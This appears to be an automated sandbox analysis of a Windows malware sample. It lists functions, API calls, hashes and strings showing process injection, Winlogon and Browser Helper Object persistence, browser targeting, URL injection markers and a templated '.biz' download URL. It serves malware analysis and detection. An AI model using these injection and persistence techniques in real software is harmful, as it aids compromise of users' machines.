Debugger, xrefs: 00404EDF, 00404F12, 00405FF5
NtOpenProcessToken, xrefs: 00403D0D
rasapi32.dll, xrefs: 00403ED5
GetIpAddrTable, xrefs: 00403F55
g00d d0gg, xrefs: 00406311, 0040634A, 00406363
NtShutdownSystem, xrefs: 00403CB0
CreateRemoteThread, xrefs: 00403C1D
RasEnumConnectionsA, xrefs: 00403EFB
iphlpapi.dll, xrefs: 00403F2F
StubPath, xrefs: 00405382, 00405F75
f, xrefs: 00404DAE
%CommonProgramFiles%\System\, xrefs: 004049D9
opera.exe, xrefs: 00405EC1
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC}, xrefs: 00406267
seamonkey.exe, xrefs: 00405EC6
InternetOpenUrlA, xrefs: 0040404C
ntdll.dll, xrefs: 00403C81
wininet.dll, xrefs: 00403FD4
{36303932-3930-3630-3932-393036303932}, xrefs: 00405083, 004050C8
{%02X%02X%02X%02X-%02x%02x-%02x%02x-%02X%02X-%02X%02X%02X%02X%02x%02x}, xrefs: 0040507E
explorer.exe, xrefs: 00405841, 00405EDA
Startup, xrefs: 004061BE, 004061C7
%ComSpec%, xrefs: 00404901
mozilla.exe, xrefs: 00405ECB
InternetReadFile, xrefs: 0040405C
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}, xrefs: 00406172
kernel32.dll, xrefs: 00403A6F, 00405854, 0040587D
DLLName, xrefs: 004061AB
ShellRegEx, xrefs: 0040452C, 004053ED, 00406122
NtWriteVirtualMemory, xrefs: 00403CA0
.exe, xrefs: 004043F5, 00404406, 00404417
InternetSetOptionA, xrefs: 0040406C

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: File$Close$Create$Value$Handle$AddressProclstrcat$Attributes$Process$lstrlen$DeleteOpenWritelstrcpy$EnvironmentExpandStrings$CurrentLibraryLoadQuerySystemTempTime$DirectoryErrorExitLastNameObjectProcess32SingleSleepWaitlstrcmpi$MutexPathReadStartupThreadwsprintf$AdjustFirstInfoInformationNextPointerPrivilegeSizeSnapshotTokenToolhelp32$ClassCommandComputerCountEnumHeapLineModulePriorityShutdownTerminateTickVersionWindows
String ID: %02X$%AppData%\$%ComSpec%$%CommonProgramFiles%\System\$--k33p$.dll$.exe$Both$CLSID\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC}\InProcServer32$CreateRemoteThread$DLLName$Debugger$Default Flags$Extended Flags$GetIpAddrTable$InternetCloseHandle$InternetOpenA$InternetOpenUrlA$InternetReadFile$InternetSetOptionA$IsInstalled$NtAllocateVirtualMemory$NtOpenProcessToken$NtQueryInformationToken$NtShutdownSystem$NtWriteVirtualMemory$QlC5hT0yHn63XEm5LqJ2OxSkGj2v$RasEnumConnectionsA$RtlAdjustPrivilege$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC}$ShellRegEx$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy$Startup$StubPath$ThreadingModel$explorer.exe$f$firefox.exe$g00d d0gg$iexplore.exe$iphlpapi.dll$kernel32.dll$mozilla.exe$ntdll.dll$opera.exe$qnd_b__-13$rasapi32.dll$seamonkey.exe$tmp$wininet.dll$winlogon.exe${%02X%02X%02X%02X-%02x%02x-%02x%02x-%02X%02X-%02X%02X%02X%02X%02x%02x}${10F5781A-0D97-0F99-EF77-BA382916E579}${36303932-3930-3630-3932-393036303932}${9703941E-446E-952F-954A-3DA8A91ED84F}
API String ID: 3095950084-3441449777
Opcode ID: a62609c3cb3bb1ea0ac5c712321f02f5fcc95e8f60100627266ebdecb58e8315
Instruction ID: fcd3a91cfab7fa25ee27508f4df0295c9928967f58dd1d1f7e7acfc0775f1f2c
Opcode Fuzzy Hash: a62609c3cb3bb1ea0ac5c712321f02f5fcc95e8f60100627266ebdecb58e8315
Instruction Fuzzy Hash: D1233BB19443406AE630B6349D47F9B3A989B40318F140A3FFA89B61D3E77C9529C79F

Function 004019AA Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 229processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004019BF
Process32First.KERNEL32(00000000,?), ref: 00401A0A
CloseHandle.KERNEL32(00000000), ref: 00401C12

Strings

T2A, xrefs: 00401B56, 00401BB4

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID: T2A
API String ID: 1083639309-2019523081
Opcode ID: a717315559cf9e37052940ac4f720aa2865e6750b4b3c22cba3fac3a866db69e
Instruction ID: 7c6136f779b091b801ec7ced044d4ecd4f532b5644714f746006db05a6c2f320
Opcode Fuzzy Hash: a717315559cf9e37052940ac4f720aa2865e6750b4b3c22cba3fac3a866db69e
Instruction Fuzzy Hash: 627108706482009BE710AB24DD41B9B3BB8AB45348F04453AF945E72E1F37CE669CB9A

Function 00402818 Relevance: 142.7, APIs: 64, Strings: 17, Instructions: 961networkregistrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000,?,004047F1,00000000,?,?,?,qnd_b__-13), ref: 0040284E
RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000,?,?,?,0040F4FC,?,00000000), ref: 0040288A
RegQueryValueExA.ADVAPI32(?,Default Flags,00000000,00000000,00412170,?,?,?,?,?,00000000,?,?,?,0040F4FC,?), ref: 004028BF
RegQueryValueExA.ADVAPI32(?,Default Flags,00000000,00000000,00412170,?,?,?,0040F4FC,?,00000000,?,?,?,0040F4FC,?), ref: 004028ED
GetSystemTimeAsFileTime.KERNEL32(00412170,?,?,?,?,?,?,?,0040F4FC,?,00000000,?,?,?,0040F4FC,?), ref: 0040290B
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012), ref: 00402944
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012), ref: 00402965
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,0040F4FC,?,00000000,?,?,?,0040F4FC,?,00000000), ref: 004029F2
gethostbyname.WS2_32(?), ref: 00402A11

Part of subcall function 0040140F: wsprintfA.USER32 ref: 00401422

htons.WS2_32(00000050), ref: 00402A30
socket.WS2_32(00000002,00000001,00000006), ref: 00402A5B
closesocket.WS2_32(00000000), ref: 00402A84
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00402AC6
InternetSetOptionA.WININET(00000000,00000002,00009C40,00000004), ref: 00402AEF
InternetSetOptionA.WININET(00000000,00000006,00009C40,00000004), ref: 00402AFB
InternetSetOptionA.WININET(00000000,00000005,00009C40,00000004), ref: 00402B07
wsprintfA.USER32 ref: 00402B23
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,84280300,00000000), ref: 00402B38
InternetCloseHandle.WININET(00000000), ref: 00402B5B
InternetCloseHandle.WININET(00000000), ref: 00402B62
InternetCloseHandle.WININET(00000000), ref: 00402B71
GetIpAddrTable.IPHLPAPI(00000000,?,00000000), ref: 00402BA0
GetIpAddrTable.IPHLPAPI(?,?,00000000), ref: 00402BDB
wsprintfA.USER32 ref: 00402C22
lstrlenA.KERNEL32(?), ref: 00402C31
Sleep.KERNEL32(000927C0,?,?,?,?,?,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00403A0C

Strings

Default Flags, xrefs: 004028B9, 004028E2, 0040293E, 0040295A, 00403028, 00403045, 004039C7, 004039E3
urlinj_creat, xrefs: 00403227
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy, xrefs: 00402844, 00402880
urlinj_creat_f, xrefs: 0040331B
http://%s/, xrefs: 00402B17
modem, xrefs: 00402D97
isdn, xrefs: 00402DC4
%02X, xrefs: 00402F10
tmp, xrefs: 004031E6, 004032CF
urlinj_xfer, xrefs: 004032A2
urlinj_fork, xrefs: 004033DE
urlinj_conn, xrefs: 004031B7
Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 00402AC1
%u.%u.%u.%s, xrefs: 00402C16
http://%s.biz/d/N?, xrefs: 00402EDA
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 004034A8
g00d d0gg, xrefs: 004034DC

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Internet$Value$CloseHandleOptionwsprintf$AddrCreateOpenQueryTableTime$FileSleepSystemclosesocketgethostbynamehtonslstrcpylstrlensocket
String ID: %02X$%u.%u.%u.%s$Default Flags$Mozilla/4.0 (compatible; MSIE 6.0; Win32)$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy$g00d d0gg$http://%s.biz/d/N?$http://%s/$isdn$modem$tmp$urlinj_conn$urlinj_creat$urlinj_creat_f$urlinj_fork$urlinj_xfer
API String ID: 3505441413-516498188
Opcode ID: fa267d9628a9f114b215f19b79ba989e1f48ff1e7bee2068e6546ad8a35e66b0
Instruction ID: 361da06dea62f3c206a16b96f36873db8e41f07557a8891ad4d22fd480433f73
Opcode Fuzzy Hash: fa267d9628a9f114b215f19b79ba989e1f48ff1e7bee2068e6546ad8a35e66b0
Instruction Fuzzy Hash: D8721B70A002045BDB20EF34CD4ABDA7B75AB40305F1441B6F909B62C6E7BD9A98CF5E

Function 0040355D Relevance: 39.0, APIs: 18, Strings: 4, Instructions: 493networkregistrysleepCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?,?,?,?,?,?,0040F4FC,?,00000000,?,?,?,0040F4FC,?,00000000), ref: 004029F2
gethostbyname.WS2_32(?), ref: 00402A11
htons.WS2_32(00000050), ref: 00402A30
socket.WS2_32(00000002,00000001,00000006), ref: 00402A5B
closesocket.WS2_32(00000000), ref: 00402A84
GetSystemTimeAsFileTime.KERNEL32(?), ref: 00403920
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012), ref: 004039CD
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012), ref: 004039EE
Sleep.KERNEL32(000927C0,?,?,?,?,?,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00403A0C

Strings

Default Flags, xrefs: 004039C7, 004039E3
modem, xrefs: 00402D97
isdn, xrefs: 00402DC4
%u.%u.%u.%s, xrefs: 00402C16

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: TimeValue$FileSleepSystemclosesocketgethostbynamehtonslstrcpysocket
String ID: %u.%u.%u.%s$Default Flags$isdn$modem
API String ID: 1870287861-1479823086
Opcode ID: efdf5ecac0f8b2257d64c741ce4c89ff429d26f15e51e12c4a55832d2e3adf3a
Instruction ID: 2ee653d2f7df55df6907a0a9b2e57412953aa95c4ecf6cadf6b3b4d2485eddb3
Opcode Fuzzy Hash: efdf5ecac0f8b2257d64c741ce4c89ff429d26f15e51e12c4a55832d2e3adf3a
Instruction Fuzzy Hash: E412D3B0A002149FDB20EF28CD45B997BB5AF45304F1482FAE808B73D1D7799A85CF59

Function 004038AA Relevance: 37.1, APIs: 17, Strings: 4, Instructions: 306networksleepregistryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?,?,?,?,?,?,0040F4FC,?,00000000,?,?,?,0040F4FC,?,00000000), ref: 004029F2
gethostbyname.WS2_32(?), ref: 00402A11
htons.WS2_32(00000050), ref: 00402A30
socket.WS2_32(00000002,00000001,00000006), ref: 00402A5B
closesocket.WS2_32(00000000), ref: 00402A84
Sleep.KERNEL32(00000000), ref: 004038FD
GetSystemTimeAsFileTime.KERNEL32(?), ref: 00403920
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012), ref: 004039CD
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012), ref: 004039EE
Sleep.KERNEL32(000927C0,?,?,?,?,?,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00403A0C

Strings

Default Flags, xrefs: 004039C7, 004039E3
modem, xrefs: 00402D97
isdn, xrefs: 00402DC4
%u.%u.%u.%s, xrefs: 00402C16

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: SleepTimeValue$FileSystemclosesocketgethostbynamehtonslstrcpysocket
String ID: %u.%u.%u.%s$Default Flags$isdn$modem
API String ID: 104937078-1479823086
Opcode ID: 2833a2524eb25981238785abb9cd29ebbfb093e0f0dba8da85f1f35722d8a34b
Instruction ID: 51207a69c6f84e7cd26efe5e5962b9edc78a43a6ad57510283d07de6baf8f7fe
Opcode Fuzzy Hash: 2833a2524eb25981238785abb9cd29ebbfb093e0f0dba8da85f1f35722d8a34b
Instruction Fuzzy Hash: 94C12C71A002149BDB20DF38CD49BD977B5AF44304F1082B6E509F72D1E7B99A58CF5A

Function 00402030 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 234networkstringCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?), ref: 00402065
lstrlenA.KERNEL32(00000000,?), ref: 0040206E
htons.WS2_32(00000000), ref: 004020C9
inet_addr.WS2_32(?), ref: 004020F0
gethostbyname.WS2_32(?), ref: 00402107
socket.WS2_32(00000002,00000001,00000006), ref: 0040213E
closesocket.WS2_32(00000000), ref: 00402169
wsprintfA.USER32 ref: 004021B5
send.WS2_32(00000000,?,00000000,00000000), ref: 004021C5
lstrcmpiA.KERNEL32(?,HTTP/1.0 200), ref: 00402206
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 0040229C
InternetSetOptionA.WININET(00000000,00000002,00009C40,00000004), ref: 004022BF
InternetSetOptionA.WININET(00000000,00000006,00009C40,00000004), ref: 004022CB
InternetSetOptionA.WININET(00000000,00000005,00009C40,00000004), ref: 004022D7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,84280300,00000000), ref: 004022F2
InternetCloseHandle.WININET(00000000), ref: 00402336

Strings

0, xrefs: 004021EF
GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00402183
Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 00402297
GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 0040217C
HTTP/1.0 200, xrefs: 00402200

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Internet$Option$Open$CloseHandleclosesocketgethostbynamehtonsinet_addrlstrcmpilstrcpylstrlensendsocketwsprintf
String ID: 0$GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$HTTP/1.0 200$Mozilla/4.0 (compatible; MSIE 6.0; Win32)
API String ID: 326340279-182194581
Opcode ID: 533dbdeed170df75c78b0b1e818a75e2cb4ab2a794039f37daf654ed5ccfbbf1
Instruction ID: 67f1582d9d65064009b7b38dedaf8d45dcb20af8a74f6ab8ff9eb660a5d02e62
Opcode Fuzzy Hash: 533dbdeed170df75c78b0b1e818a75e2cb4ab2a794039f37daf654ed5ccfbbf1
Instruction Fuzzy Hash: 83810DB0E002045BD710AB749E49B5F76B8AB05314F0441B6EB05FB2D1E7FC9A59C79E

Function 00401439 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 70registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,?,?,?,?,?,?,?,?,004053DB), ref: 00401455
RegQueryValueExA.ADVAPI32(?,ShellRegEx,00000000,?,?,?,?,?,?,0002001F,?), ref: 00401482
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,0002001F,?), ref: 0040149E
RegOpenKeyExA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,?,?,?,?,0002001F,?), ref: 004014BF
RegQueryValueExA.ADVAPI32(?,ShellRegEx,00000000,?,?,?,?,?,?,0002001F,?,?,?,?,?,0002001F), ref: 004014F3

Strings

ShellRegEx, xrefs: 00401479, 004014EA
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 0040144B, 004014B5

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: OpenQueryValue$Close
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$ShellRegEx
API String ID: 2529929805-3421572904
Opcode ID: cd487fd942f41903dd11e311c50e255b77b217701e9477cf7c32f2f6e31c553d
Instruction ID: 4b3f21838edb9e41f667f6993cf98c5a1242fec43926aa3cdaef8ebd8d2009fd
Opcode Fuzzy Hash: cd487fd942f41903dd11e311c50e255b77b217701e9477cf7c32f2f6e31c553d
Instruction Fuzzy Hash: 8C1187B2904300B7E700AA61AD46F2777ACBB8470DF11083EFD45B51D2F279DA288767

Function 00401379 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 51processfilesynchronizationCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00401393
CreateProcessA.KERNEL32(?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004013AF
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004013C9
WaitForSingleObject.KERNEL32(?,000000FF,00000000,?,?), ref: 004013D9
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 004013ED
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,?,?), ref: 004013FC
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,?,?), ref: 00401405

Strings

--k33p, xrefs: 004013A9

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CloseHandle$Create$FileInfoObjectProcessSingleStartupWait
String ID: --k33p
API String ID: 881816827-1573217081
Opcode ID: cba08d0e4e45f01dd6ace973ea33b7b63a207b7531e35ce1b4a5f54abbb5a40a
Instruction ID: 3f95ffb7ecc753adf67741720bf5132c3bbf7ea7650a4e902ed5c82167082f99
Opcode Fuzzy Hash: cba08d0e4e45f01dd6ace973ea33b7b63a207b7531e35ce1b4a5f54abbb5a40a
Instruction Fuzzy Hash: 8C01813180420476D6213A36AC07F0F7FA89B4576CF210A3DF959351EAE67D663D42AF

Function 00401D76 Relevance: 12.1, APIs: 8, Instructions: 94networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 00401D9F
connect.WS2_32(00000000,?,00000010), ref: 00401DB3
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 00401DC9
WSAGetLastError.WS2_32 ref: 00401DDB
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 00401DF8

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ioctlsocket$ErrorLastconnect
String ID:
API String ID: 1886816560-0
Opcode ID: 9e80b3ac6c6475ff1c6574f67f9f1b28db439d7aba4eb792491afc0fea029df5
Instruction ID: 443f35bcad443bf4521d197b8b602cf4c8bc99f5fac3635e2f32846607df0921
Opcode Fuzzy Hash: 9e80b3ac6c6475ff1c6574f67f9f1b28db439d7aba4eb792491afc0fea029df5
Instruction Fuzzy Hash: E53191B15042005AE230AA65DD45FDF76EC9B8531CF00073EF999A62D1E678A62982EB

Function 00401912 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 55registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?,?,?,00405EB0), ref: 0040193D
wsprintfA.USER32 ref: 00401953
RegEnumKeyA.ADVAPI32(?,00000000,?,00000300), ref: 0040197D
RegCloseKey.ADVAPI32(?,?,?,00000300,?,?,?,?,?,00020019,?,?,?,00405EB0), ref: 0040198D
RegDeleteKeyA.ADVAPI32(?), ref: 0040199A

Strings

%s\%s, xrefs: 0040194D

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CloseDeleteEnumOpenwsprintf
String ID: %s\%s
API String ID: 4202809218-4073750446
Opcode ID: a562f05e9694ffb380f4cfc04b5ada440270478fadf66736622ea1f08fb25b1f
Instruction ID: 17f0bcb135b28bc178a216f8b2dfa9435dc5451e8c8b02a629b5be3cc13ba035
Opcode Fuzzy Hash: a562f05e9694ffb380f4cfc04b5ada440270478fadf66736622ea1f08fb25b1f
Instruction Fuzzy Hash: C601ACB2A042047BE52075266D03F9B76ECCBC574CF11007AF909B61D1E5799F2981BF

Function 00401EC9 Relevance: 7.6, APIs: 5, Instructions: 113networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,?), ref: 00401F45
recv.WS2_32(00000000,?,?,00000002), ref: 00401F5E
recv.WS2_32(00000000,?,00000001,00000000), ref: 00401F7E
recv.WS2_32(00000000,?,-00000001,00000000), ref: 00401FB4
recv.WS2_32(00000000,?,00000000,00000000), ref: 00401FC6

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: recv$select
String ID:
API String ID: 873784944-0
Opcode ID: 331c4b56a962cc5ab22ade2b3a75bc455250cfa2f4922ab3eade63a1b2494d84
Instruction ID: c66e6617afff8c9d9109827ab4c11b99613a78ce40c43f432ca9f356368ad492
Opcode Fuzzy Hash: 331c4b56a962cc5ab22ade2b3a75bc455250cfa2f4922ab3eade63a1b2494d84
Instruction Fuzzy Hash: 0A31097040C3429BD731DE14C984B6BBAD8EB81358F24453FF589A62D1E3BD8445D7A7

Function 0040263A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,00000000,00000100,?), ref: 0040265C
select.WS2_32(00000000,?,00000000,00000000,?), ref: 004026B1

Strings

(, xrefs: 00402679

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: FileInternetReadselect
String ID: (
API String ID: 1501673908-3887548279
Opcode ID: 90583d2b313c707988cabef44d03dce10f4e52a7c9587c3868e69efa36d07d23
Instruction ID: 6522e2537fb8c8e721883018bf3c6a7a4605c561a93ab5d2b210f47b7f02e7dc
Opcode Fuzzy Hash: 90583d2b313c707988cabef44d03dce10f4e52a7c9587c3868e69efa36d07d23
Instruction Fuzzy Hash: 094172341083859BD3318F24C588BEBFBE4EB89314F24492FD8D9972C2D3B99865CB56

Function 00401D38 Relevance: 4.5, APIs: 3, Instructions: 21networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET(?), ref: 00401D49
InternetCloseHandle.WININET(00000000), ref: 00401D51
closesocket.WS2_32(?), ref: 00401D62

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CloseHandleInternet$closesocket
String ID:
